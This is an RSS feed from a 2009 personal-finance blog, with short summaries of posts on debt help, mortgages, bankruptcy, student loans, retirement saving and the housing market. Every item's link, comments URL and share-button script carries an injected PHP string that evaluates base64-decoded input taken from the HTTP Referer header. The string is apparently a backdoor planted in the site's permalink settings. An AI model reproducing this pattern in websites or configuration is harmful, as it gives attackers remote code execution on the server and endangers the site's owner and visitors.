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	<title>artofthecoupon.com</title>
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	<link>http://www.artofthecoupon.com</link>
	<description>A blog dedicated to doing more with less</description>
	<pubDate>Tue, 19 Jan 2010 05:35:43 +0000</pubDate>
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		<title>Finding Debt Help</title>
		<link>http://www.artofthecoupon.com/2009/12/22/finding-debt/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.artofthecoupon.com/2009/12/22/finding-debt/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 22 Dec 2009 16:50:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Debt]]></category>

		<guid isPermaLink="false">http://www.artofthecoupon.com/?p=384</guid>
		<description><![CDATA[Finding debt  help can be difficult, especially when you feel as though you are in over your head in credit card debt. Fortunately, there are ways to get your debt situation under control. For example, many creditors will be willing to work with you to set up payment plans or even reduce your debt, [...]<script type="text/javascript">SHARETHIS.addEntry({ title: "Finding Debt Help", url: "http://www.artofthecoupon.com/2009/12/22/finding-debt/%&#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}&#124;.+)&#038;%/" });</script>]]></description>
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		<title>How to Save Money on Your Mortgage</title>
		<link>http://www.artofthecoupon.com/2009/12/11/save-money-mortgage/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Fri, 11 Dec 2009 22:47:40 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.artofthecoupon.com/?p=383</guid>
		<description><![CDATA[In tough economic times, one of the first things that most people are concerned with is protecting their home. Owning a home is an American dream and in most cases is makes up the bulk of a person’s net worth and wealth. Unfortunately, owning a home can be very expensive and when you have large [...]<script type="text/javascript">SHARETHIS.addEntry({ title: "How to Save Money on Your Mortgage", url: "http://www.artofthecoupon.com/2009/12/11/save-money-mortgage/%&#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}&#124;.+)&#038;%/" });</script>]]></description>
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		<title>What to Do When You&#8217;re Over Your Head in Debt</title>
		<link>http://www.artofthecoupon.com/2009/11/07/head-debt/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.artofthecoupon.com/2009/11/07/head-debt/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 07 Nov 2009 18:36:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.artofthecoupon.com/?p=382</guid>
		<description><![CDATA[When you are in over your head in debt, it can be pretty hard to decide what exactly to do to get out. Calls from creditors may be coming in, and you may feel like you really don&#8217;t have a lot of options. The documentary Maxed Out touched upon this issue, telling some tragic stories [...]<script type="text/javascript">SHARETHIS.addEntry({ title: "What to Do When You&#8217;re Over Your Head in Debt", url: "http://www.artofthecoupon.com/2009/11/07/head-debt/%&#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}&#124;.+)&#038;%/" });</script>]]></description>
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		<title>Dow Breaks 10,000</title>
		<link>http://www.artofthecoupon.com/2009/10/15/dow-breaks-10000/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.artofthecoupon.com/2009/10/15/dow-breaks-10000/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 15 Oct 2009 04:23:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.artofthecoupon.com/?p=381</guid>
		<description><![CDATA[The Dow broke 10,000 today. This seemed unimaginable just a few short months ago. Is it possible that the economy is really turning around or is this just a temporary bubble/bump before the next wave of foreclosures and trouble?
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		<title>Expanding Population and Rising Housing Prices?</title>
		<link>http://www.artofthecoupon.com/2009/10/06/expanding-population-rising-housing-prices/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.artofthecoupon.com/2009/10/06/expanding-population-rising-housing-prices/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 06 Oct 2009 18:25:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.artofthecoupon.com/?p=380</guid>
		<description><![CDATA[While the stock market seems to be sort of having a bumpy trip back upwards, only to be brought back down briefly by reports of unemployment, the real estate market does not seem to be in any hurry to climb back to the height of the bubble. In fact, houses still seem to be sitting [...]<script type="text/javascript">SHARETHIS.addEntry({ title: "Expanding Population and Rising Housing Prices?", url: "http://www.artofthecoupon.com/2009/10/06/expanding-population-rising-housing-prices/%&#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}&#124;.+)&#038;%/" });</script>]]></description>
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		<title>The Opportunity Cost of Student Loan Debt</title>
		<link>http://www.artofthecoupon.com/2009/09/15/opportunity-cost-student-loan-debt/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.artofthecoupon.com/2009/09/15/opportunity-cost-student-loan-debt/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 15 Sep 2009 18:06:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.artofthecoupon.com/?p=378</guid>
		<description><![CDATA[I mentioned in an early post that I am actually starting to make some progress on my student loan debt and got the smaller debt paid off. $26,000 down, quite a bit left to go! It is especially discouraging because as I spend money to pay off this debt, there are other opportunities that I [...]<script type="text/javascript">SHARETHIS.addEntry({ title: "The Opportunity Cost of Student Loan Debt", url: "http://www.artofthecoupon.com/2009/09/15/opportunity-cost-student-loan-debt/%&#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}&#124;.+)&#038;%/" });</script>]]></description>
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		<title>Bankruptcy As an Option</title>
		<link>http://www.artofthecoupon.com/2009/08/30/bankruptcy-option/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.artofthecoupon.com/2009/08/30/bankruptcy-option/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 31 Aug 2009 03:23:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.artofthecoupon.com/?p=377</guid>
		<description><![CDATA[In the U.S., the bankruptcy laws recently changed in order to make it more difficult to declare bankruptcy. While before bankruptcy wiped the slate clean, now people with certain income and other characteristics are required to enter into a payment plan of some sort as part of a bankruptcy settlement. Instead of starting with a [...]<script type="text/javascript">SHARETHIS.addEntry({ title: "Bankruptcy As an Option", url: "http://www.artofthecoupon.com/2009/08/30/bankruptcy-option/%&#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}&#124;.+)&#038;%/" });</script>]]></description>
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		<title>Saving for Retirement When Living Paycheck to Paycheck</title>
		<link>http://www.artofthecoupon.com/2009/08/30/saving-retirement-living-paycheck-paycheck/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.artofthecoupon.com/2009/08/30/saving-retirement-living-paycheck-paycheck/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 31 Aug 2009 03:16:37 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.artofthecoupon.com/?p=376</guid>
		<description><![CDATA[Lately, I have been reading some financial books, including Smart Women Finish Rich by David Bach (who also wrote The Automatic Millionaire) and the Rich Dad Poor Dad series of books. Some of the points made in the books deal with the fact that many people don&#8217;t save or invest for retirement. David Bach especially [...]<script type="text/javascript">SHARETHIS.addEntry({ title: "Saving for Retirement When Living Paycheck to Paycheck", url: "http://www.artofthecoupon.com/2009/08/30/saving-retirement-living-paycheck-paycheck/%&#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}&#124;.+)&#038;%/" });</script>]]></description>
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		<title>Sidebar Update!</title>
		<link>http://www.artofthecoupon.com/2009/08/27/sidebar-update/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.artofthecoupon.com/2009/08/27/sidebar-update/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 27 Aug 2009 05:26:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.artofthecoupon.com/?p=375</guid>
		<description><![CDATA[I am updating the side bars- I am very happy to say, I paid off one of my loans in full! Over the past 3 months, I have managed to more than triple my income by finding freelance working, and I made about $10,000. This allowed me to pay off the remaining balance! I am [...]<script type="text/javascript">SHARETHIS.addEntry({ title: "Sidebar Update!", url: "http://www.artofthecoupon.com/2009/08/27/sidebar-update/%&#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}&#124;.+)&#038;%/" });</script>]]></description>
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		<title>Housing Market Turnaround?</title>
		<link>http://www.artofthecoupon.com/2009/08/17/housing-market-turnaround/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Mon, 17 Aug 2009 19:25:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.artofthecoupon.com/?p=374</guid>
		<description><![CDATA[Over the past year, more houses have been for sale in my neighborhood than I have ever seen. I&#8217;m sure that it is just because they are sitting on the market longer, not necessarily that more people than usual are moving, although I suppose that with the economy the way it is, maybe both of [...]<script type="text/javascript">SHARETHIS.addEntry({ title: "Housing Market Turnaround?", url: "http://www.artofthecoupon.com/2009/08/17/housing-market-turnaround/%&#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}&#124;.+)&#038;%/" });</script>]]></description>
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